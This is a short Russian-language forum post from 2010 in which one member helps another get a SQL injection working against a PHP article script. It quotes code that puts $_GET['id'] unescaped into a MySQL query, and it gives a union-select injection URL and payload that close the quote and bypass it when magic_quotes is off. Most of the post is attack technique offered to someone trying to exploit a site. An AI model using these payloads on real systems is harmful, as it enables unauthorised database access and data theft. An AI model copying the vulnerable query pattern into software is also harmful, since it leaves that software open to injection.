
16.01.2010, 17:38
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Сообщение от Серёжа393
Подскадите пожалуйста. Ума не приложу
Вот код:
PHP код:
include("config.php");
$response=mysql_query("SELECT * FROM articles WHERE id='".$_GET['id']."'");
$result=mysql_fetch_array($response);
...
echo "
<table width=\"100%\">
<tr><th>".$result['title']."</th></tr>
<tr><td><img src=".$result['image']." width=200><br>".$result['text']."</td></tr>
</table><br>
";
Почему не проходит инъекция? когда подставишь ковычку - ошибку есть mysql_fetch_array().
http://site.ru/script.php?id=-1'+union+select+1,2,3,4+--+
Будет работать при mq=off
А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким
то обычная инъекция проходит! В чём такая странность из-за ковычек. подскажите плиз
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
Когда стоят кавычки '', запрос получается:
PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1+union+select+1,3,4+--+'");
php вернет ошибку из-за незакрытой кавычки. Нужно закрыть кавычку и делать запрос:
PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1' union select 1,2,3,4+--+'");
Читай: http://forum.antichat.ru/thread19844.html
Последний раз редактировалось .:[melkiy]:.; 15.02.2010 в 01:00..
|
|
|